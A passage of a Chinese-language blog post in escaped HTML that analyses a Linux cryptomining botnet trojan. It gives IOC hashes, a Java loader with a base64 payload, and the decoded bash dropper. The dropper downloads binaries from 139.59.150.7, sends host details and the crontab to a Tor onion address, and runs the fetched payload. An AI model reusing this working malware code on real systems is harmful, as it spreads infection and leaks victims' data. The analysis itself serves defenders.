\/><\/p>\n\n<p>\u770b\u8d77\u6765\u5e94\u8be5\u4e0d\u662f\u767d\u8c61\u7684\u653b\u51fb\uff0cAPT \u4ee5\u9493\u9c7c\u4e3a\u4e3b\uff0c\u91cd\u70b9\u5728\u9690\u853d\uff0c\u4e0d\u4f1a\u5927\u5f20\u65d7\u9f13\u7684\u641e\u6316\u77ff\u3002<\/p>\n\n<p>\u65e2\u7136\u6709 tor \u57df\u540d\uff0c\u90a3\u4e48\u8fd9\u53ef\u4ee5\u5f53\u4f5c\u4e00\u4e2a IOC\uff0c\u53bb\u7f51\u4e0a\u641c\u4e00\u641c\uff0c\u53d1\u73b0\u4e0d\u5c11\u8fd9\u6837\u7684\u6848\u4f8b<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>https:\/\/cloud.tencent.com\/developer\/article\/1731875<\/p>\n\n<p>https:\/\/www.zscaler.com\/blogs\/security-research\/dreambus-botnet-technical-analysis<\/p>\n\n<p>https:\/\/www.trendmicro.com\/en_us\/research\/21\/d\/tor-based-botnet-malware-targets-linux-systems-abuses-cloud-management-tools.html<\/p>\n\n<p><del>\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c zscaler \u7684\u6837\u672c\u4f3c\u4e4e\u6bd4\u6211\u62ff\u5230\u7684\u6837\u672c\u529f\u80fd\u66f4\u591a\uff0c zscaler \u7684\u6837\u672c\u5305\u62ec\u4e86\u901a\u8fc7 ssh\/redis\/postgres\/hadoop\/spark\u7b49\u6a2a\u5411\u79fb\u52a8\u7684\u529f\u80fd\u3002\u63a8\u6d4b\u53ef\u80fd\u662f\u5176\u4ed6\u8bbe\u5907\u4e0a\u6709\u5305\u542b\u8fd9\u79cd\u529f\u80fd\u7684\u6728\u9a6c\u653b\u7834\u6211\u5206\u6790\u7684\u8fd9\u53f0\u8bbe\u5907\u540e\u653e\u7f6e\u4e86\u4e00\u4e2a\u529f\u80fd\u66f4\u5355\u4e00\u7684\u6728\u9a6c\uff0c\u4ee5\u89c4\u907f\u5b89\u5168\u4eba\u5458\u7684\u5165\u4fb5\u5206\u6790\u3002<\/del>2021.7.20 \u6ce8\uff1a\u5199\u8fd9\u7bc7\u6587\u7ae0\u7684\u65f6\u5019\u6ca1\u53d1\u73b0\u8fd9\u51e0\u4e2a\u6a2a\u5411\u79fb\u52a8\u7684\u529f\u80fd\uff0c\u4e8b\u540e\u5206\u6790\u53d1\u73b0\u4e86\u8fd9\u51e0\u4e2a\u79fb\u52a8\u65b9\u5f0f\u3002<\/p>\n\n<p>\u590d\u5236\u51fa\u6765\u7684\u6076\u610f\u6587\u4ef6\u7684IOC\u4e5f\u5728\u5fae\u6b65\u5728\u7ebf\u6709\u770b\u5230<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712170908.png\" alt=\"\" \/><\/p>\n\n<p>\u5220\u6728\u9a6c\u7528\u4e863\u5206\u949f\uff0c\u5199\u535a\u5ba2\u7528\u4e863\u5c0f\u65f6 :)<\/p>\n\n<p>\u6211\u611f\u89c9\u5bfc\u5e08\u8981\u627e\u6211\u4ea4\u6d41\u8fdb\u5ea6\u4e86<\/p>\n\n<p>\u6211\u53c8\u53ea\u6709\u8bf4\u6211\u6478\u9c7c\u4e86  555555<\/p>\n\n<p>\u9644IOC\u5982\u4e0b\uff1a<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"nv\">$ <\/span><span class=\"nb\">md5sum<\/span> <span class=\"k\">*<\/span>\n1903a412002ed21dd7d90858f46717ca  EQnR3jNR\nf411ce55ff4b6ae95d11944a0c8d594b  tracepath\n48b164b19a85b94be0548c542d315e31  yitxXFrW\n<span class=\"nv\">$ <\/span><span class=\"nb\">sha256sum<\/span> <span class=\"k\">*<\/span>\na33a641e1c866164930a5acf934231fc9896a5ad5e47bbf0784f65430e86f0dd  EQnR3jNR\nc38c6d9ddf08ee411bedb00cc5bfd03f78af774ff408ab160e6149607bc76046  tracepath\ncdf9ddd2f3eac918aa25c507d7b121ba670f241e5647b23e645a9f9e35f9665a  yitxXFrW\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h1 id=\"\u6076\u610f\u6587\u4ef6\u5206\u6790\">\u6076\u610f\u6587\u4ef6\u5206\u6790<\/h1>\n\n<p>\u4ed6\u6765\u4e86\uff0c\u66fe\u5927\u4f6c\u771f\u7684\u6765\u4e86\u3002<\/p>\n\n<p>\u66fe\u5927\u4f6c\u51fa\u624b\uff0c\u5206\u5206\u949f\u62ff\u4e0b\u3002<\/p>\n\n<p>\u4ec0\u4e48\u52a0\u58f3\u53bb\u7279\u5f81\uff0c\u90fd\u4e0d\u662f\u95ee\u9898\uff0c\u66fe\u5927\u4f6c\u52a8\u6001\u8c03\u8bd5\u5168\u5e26\u8d70 :)<\/p>\n\n<p>\u6211\u95ee\u4ed6\u600e\u4e48\u8fd8\u6709\u65f6\u95f4\u641e\u8fd9\u4e2a\uff0c\u4ed6\u8bf4\u8981\u4e0d\u662f\u4e0d\u60f3\u770b\u8bba\u6587\uff0c\u8c01\u4f1a\u53bb\u5206\u6790\u8fd9\u4e2a\u6316\u77ff\u6728\u9a6c\u5462\uff1f<\/p>\n\n<p>\u8fd9\u53e5\u8bdd\u600e\u4e48\u4f3c\u66fe\u76f8\u4f3c\uff0c\u554a\uff0c\u539f\u6765\u662f\u6211\u521a\u5f00\u59cb\u5199\u8fd9\u7bc7\u535a\u5ba2\u7684\u65f6\u5019\u4e5f\u662f\u8fd9\u6837\u8bf4\u7684 :P<\/p>\n\n<h2 id=\"tracepath\">tracepath<\/h2>\n\n<p>\u5305\u542b\u4e86\u6a2a\u5411\u79fb\u52a8\u7684\u529f\u80fd\u3002<\/p>\n\n<p>\u5982\u679c\u53d1\u73b0\u6709 spark \u8282\u70b9\uff0c\u90a3\u4e48\u63d0\u4ea4\u4e00\u4e2a\u4efb\u52a1\u4e0a\u53bb\u3002<\/p>\n\n<p>\u4ece <code class=\"language-plaintext highlighter-rouge\">http:\/\/139.59.150.7:443\/z.jar<\/code> \u4e0b\u8f7d <code class=\"language-plaintext highlighter-rouge\">z.jar<\/code>\uff0c\u63d0\u4ea4\u4e0a\u53bb\u3002<\/p>\n\n<p>\u90a3\u4e48\uff0c<code class=\"language-plaintext highlighter-rouge\">z.jar<\/code> \u662f\u4ec0\u4e48\u5462\uff1f\u76ee\u524d\u8fd8\u53ef\u4ee5\u4ece\u8fd9\u4e2aip\u5730\u5740\u4e0a\u4e0b\u8f7d\u8fd9\u4e2a\u6076\u610f\u6587\u4ef6\u3002<\/p>\n\n<p>\u4e22\u8fdb jd-gui\uff0c\u770b\u5230\u6587\u4ef6\u7684 java \u4ee3\u7801<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n<\/pre><\/td><td class=\"rouge-code\"><pre>public class z <span class=\"o\">{<\/span>\n  public static void main<span class=\"o\">(<\/span>String[] paramArrayOfString<span class=\"o\">)<\/span> throws Exception <span class=\"o\">{<\/span>\n    String[] arrayOfString <span class=\"o\">=<\/span> new String[3]<span class=\"p\">;<\/span>\n    arrayOfString[0] <span class=\"o\">=<\/span> <span class=\"s2\">\"\/bin\/sh\"<\/span><span class=\"p\">;<\/span>\n    arrayOfString[1] <span class=\"o\">=<\/span> <span class=\"s2\">\"-c\"<\/span><span class=\"p\">;<\/span>\n    arrayOfString[2] <span class=\"o\">=<\/span> <span class=\"s2\">\"echo WFJBTkRPTQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOn0KICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMKCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAicnhteHB6Zmt5ZGt1bGhocW51ZnRibWY2ZDVxNjdqamNob3BtaDRvZnN6Znd3bm16NGJxcTJmaWQiKQoKc29ja3ooKSB7Cm49KGRvaC5ubC5haGFkbnMubmV0IGRucy5ob3N0dXgubmV0IHVuY2Vuc29yZWQubHV4MS5kbnMubml4bmV0Lnh5eiBkbnMucnVieWZpc2guY24gZG5zLnR3bmljLnR3IGRvaC5uby5haGFkbnMubmV0IGRvaC1maS5ibGFoZG5zLmNvbSBmaS5kb2guZG5zLnNub3B5dGEub3JnIHJlc29sdmVyLWV1LmxlbHV4LmZpIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMSkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC90bXAgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25lCn0KCnUoKSB7CnNvY2t6CmY9L2wvc3AuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash\"<\/span><span class=\"p\">;<\/span>\n    Runtime runtime <span class=\"o\">=<\/span> Runtime.getRuntime<span class=\"o\">()<\/span><span class=\"p\">;<\/span>\n    Process process <span class=\"o\">=<\/span> runtime.exec<span class=\"o\">(<\/span>arrayOfString<span class=\"o\">)<\/span><span class=\"p\">;<\/span>\n  <span class=\"o\">}<\/span>\n<span class=\"o\">}<\/span>\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8fd9\u4e00\u5927\u6bb5 base64 \u89e3\u51fa\u6765\uff0c\u5185\u5bb9\u5982\u4e0b<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n58\n59\n60\n<\/pre><\/td><td class=\"rouge-code\"><pre>XRANDOM\n<span class=\"nb\">exec<\/span> &amp;&gt;\/dev\/null\n<span class=\"nb\">export <\/span><span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$PATH<\/span>:<span class=\"nv\">$HOME<\/span>:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin\n\n<span class=\"k\">function <\/span>kurl<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n  <span class=\"nb\">read <\/span>proto server path <span class=\"o\">&lt;&lt;&lt;<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"k\">${<\/span><span class=\"nv\">1<\/span><span class=\"p\">\/\/\/\/ <\/span><span class=\"k\">}<\/span><span class=\"si\">)<\/span>\n  <span class=\"nv\">DOC<\/span><span class=\"o\">=<\/span>\/<span class=\"k\">${<\/span><span class=\"nv\">path<\/span><span class=\"p\">\/\/ \/\/<\/span><span class=\"k\">}<\/span>\n  <span class=\"nv\">HOST<\/span><span class=\"o\">=<\/span><span class=\"k\">${<\/span><span class=\"nv\">server<\/span><span class=\"p\">\/\/<\/span>:<span class=\"p\">*<\/span><span class=\"k\">}<\/span>\n  <span class=\"nv\">PORT<\/span><span class=\"o\">=<\/span><span class=\"k\">${<\/span><span class=\"nv\">server<\/span><span class=\"p\">\/\/*<\/span>:<span class=\"k\">}<\/span>\n  <span class=\"o\">[[<\/span> x<span class=\"s2\">\"<\/span><span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">==<\/span> x<span class=\"s2\">\"<\/span><span class=\"k\">${<\/span><span class=\"nv\">PORT<\/span><span class=\"k\">}<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">]]<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nv\">PORT<\/span><span class=\"o\">=<\/span>80\n\n  <span class=\"nb\">exec <\/span>3&lt;<span class=\"o\">&gt;<\/span>\/dev\/tcp\/<span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$PORT<\/span>\n  <span class=\"nb\">echo<\/span> <span class=\"nt\">-en<\/span> <span class=\"s2\">\"GET <\/span><span class=\"k\">${<\/span><span class=\"nv\">DOC<\/span><span class=\"k\">}<\/span><span class=\"s2\"> HTTP\/1.0<\/span><span class=\"se\">\\r\\n<\/span><span class=\"s2\">Host: <\/span><span class=\"k\">${<\/span><span class=\"nv\">HOST<\/span><span class=\"k\">}<\/span><span class=\"se\">\\r\\n\\r\\n<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">&gt;<\/span>&amp;3\n  <span class=\"o\">(<\/span><span class=\"k\">while <\/span><span class=\"nb\">read <\/span>line<span class=\"p\">;<\/span> <span class=\"k\">do<\/span>\n   <span class=\"o\">[[<\/span> <span class=\"s2\">\"<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">\"<\/span> <span class=\"o\">==<\/span> <span class=\"s1\">$'<\/span><span class=\"se\">\\r<\/span><span class=\"s1\">'<\/span> <span class=\"o\">]]<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break\n  <\/span><span class=\"k\">done<\/span> <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cat<\/span><span class=\"o\">)<\/span> &lt;&amp;3\n  <span class=\"nb\">exec <\/span>3&gt;&amp;-\n<span class=\"o\">}<\/span>\n\n<span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$HOME<\/span>\/ss\ncurl <span class=\"nt\">-V<\/span> <span class=\"o\">||<\/span> wget <span class=\"nt\">-q<\/span> https:\/\/github.com\/moparisthebest\/static-curl\/releases\/download\/v7.75.0\/curl-amd64 <span class=\"nt\">-O<\/span> <span class=\"nv\">$HOME<\/span>\/curl<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/curl\ncurl <span class=\"nt\">-V<\/span> <span class=\"o\">||<\/span> kurl http:\/\/139.59.150.7:443\/curl <span class=\"o\">&gt;<\/span> <span class=\"nv\">$HOME<\/span>\/curl<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/curl\nss <span class=\"nt\">-v<\/span>   <span class=\"o\">||<\/span> kurl http:\/\/139.59.150.7:443\/ss   <span class=\"o\">&gt;<\/span> <span class=\"nv\">$HOME<\/span>\/ss<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ss\nss <span class=\"nt\">-v<\/span>   <span class=\"o\">||<\/span> curl <span class=\"nt\">-s<\/span> http:\/\/139.59.150.7:443\/ss <span class=\"nt\">-o<\/span> <span class=\"nv\">$HOME<\/span>\/ss<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ss\nps      <span class=\"o\">||<\/span> curl <span class=\"nt\">-s<\/span> http:\/\/139.59.150.7:443\/ps <span class=\"nt\">-o<\/span> <span class=\"nv\">$HOME<\/span>\/ps<span class=\"p\">;<\/span><span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$HOME<\/span>\/ps\n\n<span class=\"nv\">d<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">grep <\/span>x:<span class=\"si\">$(<\/span><span class=\"nb\">id<\/span> <span class=\"nt\">-u<\/span><span class=\"si\">)<\/span>: \/etc\/passwd|cut <span class=\"nt\">-d<\/span>: <span class=\"nt\">-f6<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">c<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"curl -4fsSLkA- -m200\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">t<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"rxmxpzfkydkulhhqnuftbmf6d5q67jjchopmh4ofszfwwnmz4bqq2fid\"<\/span><span class=\"si\">)<\/span>\n\nsockz<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"nv\">n<\/span><span class=\"o\">=(<\/span>doh.nl.ahadns.net dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.no.ahadns.net doh-fi.blahdns.com <span class=\"k\">fi<\/span>.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch<span class=\"o\">)<\/span>\n<span class=\"nv\">p<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"dns-query?name=relay.tor2socks.in\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">s<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nv\">$c<\/span> https:\/\/<span class=\"k\">${<\/span><span class=\"nv\">n<\/span><span class=\"p\">[<\/span><span class=\"k\">$((<\/span>RANDOM%11<span class=\"k\">))<\/span><span class=\"p\">]<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$p<\/span> | <span class=\"nb\">grep<\/span> <span class=\"nt\">-oE<\/span> <span class=\"s2\">\"<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">([0-9]{1,3}<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">){3}[0-9]{1,3}<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">\"<\/span> |tr <span class=\"s1\">' '<\/span> <span class=\"s1\">'\\n'<\/span>|grep <span class=\"nt\">-Ev<\/span> <span class=\"o\">[<\/span>.]0|sort <span class=\"nt\">-uR<\/span>|head <span class=\"nt\">-n<\/span> 1<span class=\"si\">)<\/span>\n<span class=\"o\">}<\/span>\n\nfexe<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"k\">for <\/span>i <span class=\"k\">in<\/span> <span class=\"nb\">.<\/span> <span class=\"nv\">$HOME<\/span> \/usr\/bin <span class=\"nv\">$d<\/span> \/tmp \/var\/tmp <span class=\"p\">;<\/span><span class=\"k\">do <\/span><span class=\"nb\">echo exit<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cd<\/span> <span class=\"nv\">$i<\/span> <span class=\"o\">&amp;&amp;<\/span> .\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break<\/span><span class=\"p\">;<\/span><span class=\"k\">done<\/span>\n<span class=\"o\">}<\/span>\n\nu<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\nsockz\n<span class=\"nv\">f<\/span><span class=\"o\">=<\/span>\/l\/sp.<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">x<\/span><span class=\"o\">=<\/span>.\/<span class=\"si\">$(<\/span><span class=\"nb\">date<\/span>|md5sum|cut <span class=\"nt\">-f1<\/span> <span class=\"nt\">-d-<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">r<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span>curl <span class=\"nt\">-4fsSLk<\/span> checkip.amazonaws.com||curl <span class=\"nt\">-4fsSLk<\/span> ip.sb<span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">whoami<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-n<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>ip a|grep <span class=\"s1\">'inet '<\/span>|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $2'<\/span><span class=\"o\">}<\/span>|md5sum|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $1'<\/span><span class=\"o\">}<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>crontab <span class=\"nt\">-l<\/span>|base64 <span class=\"nt\">-w0<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">$c<\/span> <span class=\"nt\">-x<\/span> socks5h:\/\/<span class=\"nv\">$s<\/span>:9050 <span class=\"nv\">$t<\/span>.onion<span class=\"nv\">$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span> <span class=\"o\">||<\/span> <span class=\"nv\">$c<\/span> <span class=\"nv\">$1$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span>\n<span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$x<\/span>\n<span class=\"o\">}<\/span>\n\n<span class=\"k\">for <\/span>h <span class=\"k\">in <\/span>tor2web.in tor2web.it\n<span class=\"k\">do\nif<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status<span class=\"p\">;<\/span> <span class=\"k\">then\n<\/span>fexe<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/tmp<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/dev\/shm<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"k\">else\n<\/span><span class=\"nb\">break\n<\/span><span class=\"k\">fi\ndone<\/span>\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u597d\u5bb6\u4f19\uff0c\u8fc7\u6765\u8fc7\u53bb\uff0c\u4ece bash \u5230 elf \u518d\u5230 jar\uff0c\u4e00\u76f4\u90fd\u662f\u8fd9\u4e2a bash \u811a\u672c\u3002<\/p>\n\n<p>\u4e00\u5207\u90fd\u662f\u4e3a\u4e86\u8fd9\u4e2a bash \u811a\u672c\u670d\u52a1\u3002<\/p>\n\n<p>\u5176\u4e2d\u6709\u4e00\u6bb5\u4e0b\u8f7d\u6587\u4ef6\u7684\u6b65\u9aa4\uff0c\u4e4b\u524d\u4e5f\u770b\u5230\u4e86\uff0c\u4f46\u662f\u6ca1\u6709\u4ed4\u7ec6\u5206\u6790\u3002\u5728\u66fe\u5927\u4f6c\u7684\u5e26\u9886\u4e0b\uff0c\u4e00\u884c\u4e00\u884c\u5206\u6790\u4e86\u8fd9\u4e2abash\u7684\u529f\u80fd.<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n<\/pre><\/td><td class=\"rouge-code\"><pre>\n<span class=\"k\">function <\/span>kurl<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n  <span class=\"nb\">read <\/span>proto server path <span class=\"o\">&lt;&lt;&lt;<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"k\">${<\/span><span class=\"nv\">1<\/span><span class=\"p\">\/\/\/\/ 